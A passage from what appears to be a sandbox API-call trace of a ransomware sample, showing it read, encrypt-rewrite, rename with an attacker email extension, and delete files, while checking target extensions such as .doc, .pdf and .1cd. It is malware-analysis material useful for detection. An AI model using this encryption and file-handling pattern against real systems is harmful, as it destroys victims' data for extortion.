lpOverlapped=0x0) returned 1 [0149.353] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1 [0149.371] SetEndOfFile (hFile=0x36c) returned 1 [0149.371] CloseHandle (hObject=0x36c) returned 1 [0149.372] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.372] SetEndOfFile (hFile=0x2f4) returned 1 [0149.373] CloseHandle (hObject=0x2f4) returned 1 [0149.373] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.373] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0149.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.373] lstrlenW (lpString=".doc") returned 4 [0149.373] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.373] lstrlenW (lpString=".docx") returned 5 [0149.373] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0149.373] lstrlenW (lpString=".pdf") returned 4 [0149.373] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.373] lstrlenW (lpString=".xls") returned 4 [0149.373] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.373] lstrlenW (lpString=".xlsx") returned 5 [0149.373] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0149.373] lstrlenW (lpString=".ppt") returned 4 [0149.374] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString=".zip") returned 4 [0149.374] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString=".rar") returned 4 [0149.374] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString=".bz2") returned 4 [0149.374] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.374] lstrlenW (lpString=".7z") returned 3 [0149.374] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString=".dbf") returned 4 [0149.374] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString=".1cd") returned 4 [0149.374] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString=".jpg") returned 4 [0149.374] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString=".doc") returned 4 [0149.374] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.374] lstrlenW (lpString=".docx") returned 5 [0149.374] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0149.374] lstrlenW (lpString=".pdf") returned 4 [0149.374] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString=".xls") returned 4 [0149.374] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString=".xlsx") returned 5 [0149.374] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0149.374] lstrlenW (lpString=".ppt") returned 4 [0149.374] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.374] lstrlenW (lpString=".zip") returned 4 [0149.375] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.375] lstrlenW (lpString=".rar") returned 4 [0149.375] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.375] lstrlenW (lpString=".bz2") returned 4 [0149.375] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.375] lstrlenW (lpString=".7z") returned 3 [0149.375] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.375] lstrlenW (lpString=".dbf") returned 4 [0149.375] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.375] lstrlenW (lpString=".1cd") returned 4 [0149.375] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0149.375] lstrlenW (lpString=".jpg") returned 4 [0149.375] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.375] lstrcmpiW (lpString1=".msi", lpString2=".HCK") returned 1 [0149.375] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0149.375] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.376] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1901056) returned 1 [0149.376] CloseHandle (hObject=0x2f4) returned 1 [0149.376] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0149.376] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.376] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0149.376] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0149.376] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0x0) returned 1 [0149.376] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.376] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3902058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.379] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.380] ReadFile (in: hFile=0x2f4, lpBuffer=0x3942058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3942058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.383] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.383] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.383] ReadFile (in: hFile=0x2f4, lpBuffer=0x3982058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3982058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.402] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.402] WriteFile (in: hFile=0x2f4, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2d4fca8, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0149.702] SetEndOfFile (hFile=0x2f4) returned 1 [0149.703] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e7e040 [0149.706] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.706] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e7e040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e7e040*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.870] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.870] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e7e040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e7e040*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.874] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.874] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e7e040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e7e040*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.878] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e7e040 | out: hHeap=0x6b0000) returned 1 [0149.881] CloseHandle (hObject=0x2f4) returned 1 [0150.261] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0150.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.261] lstrlenW (lpString=".doc") returned 4 [0150.261] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.291] lstrlenW (lpString=".docx") returned 5 [0150.291] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0150.291] lstrlenW (lpString=".pdf") returned 4 [0150.291] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.297] lstrlenW (lpString=".xls") returned 4 [0150.297] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.297] lstrlenW (lpString=".xlsx") returned 5 [0150.297] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0150.297] lstrlenW (lpString=".ppt") returned 4 [0150.301] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.301] lstrlenW (lpString=".zip") returned 4 [0150.301] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.302] lstrlenW (lpString=".rar") returned 4 [0150.302] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.302] lstrlenW (lpString=".bz2") returned 4 [0150.302] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.302] lstrlenW (lpString=".7z") returned 3 [0150.302] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.310] lstrlenW (lpString=".dbf") returned 4 [0150.310] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.310] lstrlenW (lpString=".1cd") returned 4 [0150.311] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.311] lstrlenW (lpString=".jpg") returned 4 [0150.311] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.315] lstrlenW (lpString=".doc") returned 4 [0150.315] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.315] lstrlenW (lpString=".docx") returned 5 [0150.315] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0150.318] lstrlenW (lpString=".pdf") returned 4 [0150.318] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.318] lstrlenW (lpString=".xls") returned 4 [0150.318] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.318] lstrlenW (lpString=".xlsx") returned 5 [0150.319] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0150.319] lstrlenW (lpString=".ppt") returned 4 [0150.319] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.319] lstrlenW (lpString=".zip") returned 4 [0150.319] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.319] lstrlenW (lpString=".rar") returned 4 [0150.320] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.320] lstrlenW (lpString=".bz2") returned 4 [0150.320] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.320] lstrlenW (lpString=".7z") returned 3 [0150.320] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.320] lstrlenW (lpString=".dbf") returned 4 [0150.320] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.321] lstrlenW (lpString=".1cd") returned 4 [0150.321] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0150.321] lstrlenW (lpString=".jpg") returned 4 [0150.321] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.322] lstrcmpiW (lpString1=".msi", lpString2=".HCK") returned 1 [0150.328] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0150.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.329] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=495616) returned 1 [0150.329] CloseHandle (hObject=0x2f4) returned 1 [0150.330] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0150.330] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.330] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.331] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.331] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0150.331] GetLastError () returned 0x0 [0150.331] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x79000, lpOverlapped=0x0) returned 1 [0150.341] WriteFile (in: hFile=0x2ec, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x79010, lpOverlapped=0x0) returned 1 [0150.347] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.347] WriteFile (in: hFile=0x2ec, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x100, lpOverlapped=0x0) returned 1 [0150.347] SetEndOfFile (hFile=0x2ec) returned 1 [0150.347] CloseHandle (hObject=0x2ec) returned 1 [0150.354] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.354] SetEndOfFile (hFile=0x2f4) returned 1 [0150.358] CloseHandle (hObject=0x2f4) returned 1 [0150.358] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0150.358] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0150.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.358] lstrlenW (lpString=".doc") returned 4 [0150.358] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.358] lstrlenW (lpString=".docx") returned 5 [0150.358] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0150.358] lstrlenW (lpString=".pdf") returned 4 [0150.358] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.358] lstrlenW (lpString=".xls") returned 4 [0150.358] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.358] lstrlenW (lpString=".xlsx") returned 5 [0150.358] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0150.358] lstrlenW (lpString=".ppt") returned 4 [0150.358] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.358] lstrlenW (lpString=".zip") returned 4 [0150.358] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.358] lstrlenW (lpString=".rar") returned 4 [0150.359] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.359] lstrlenW (lpString=".bz2") returned 4 [0150.359] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString=".7z") returned 3 [0150.359] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".dbf") returned 4 [0150.359] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".1cd") returned 4 [0150.359] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".jpg") returned 4 [0150.359] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".doc") returned 4 [0150.359] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString=".docx") returned 5 [0150.359] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0150.359] lstrlenW (lpString=".pdf") returned 4 [0150.359] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0150.359] lstrlenW (lpString=".xls") returned 4 [0150.359] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0150.359] lstrlenW (lpString=".xlsx") returned 5 [0150.359] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0150.359] lstrlenW (lpString=".ppt") returned 4 [0150.359] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".zip") returned 4 [0150.359] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0150.359] lstrlenW (lpString=".rar") returned 4 [0150.359] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0150.359] lstrlenW (lpString=".bz2") returned 4 [0150.359] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString=".7z") returned 3 [0150.359] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".dbf") returned 4 [0150.359] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0150.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.359] lstrlenW (lpString=".1cd") returned 4 [0150.359] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0150.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0150.360] lstrlenW (lpString=".jpg") returned 4 [0150.360] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0150.360] lstrcmpiW (lpString1=".msi", lpString2=".HCK") returned 1 [0150.360] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0150.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.360] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=184832) returned 1 [0150.360] CloseHandle (hObject=0x2f4) returned 1 [0150.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0150.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.360] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.360] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0150.361] GetLastError () returned 0x0 [0150.361] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0150.772] WriteFile (in: hFile=0x2ec, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0150.774] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.774] WriteFile (in: hFile=0x2ec, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf4, lpOverlapped=0x0) returned 1 [0150.774] SetEndOfFile (hFile=0x2ec) returned 1 [0150.774] CloseHandle (hObject=0x2ec) returned 1 [0150.778] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.778] SetEndOfFile (hFile=0x2f4) returned 1 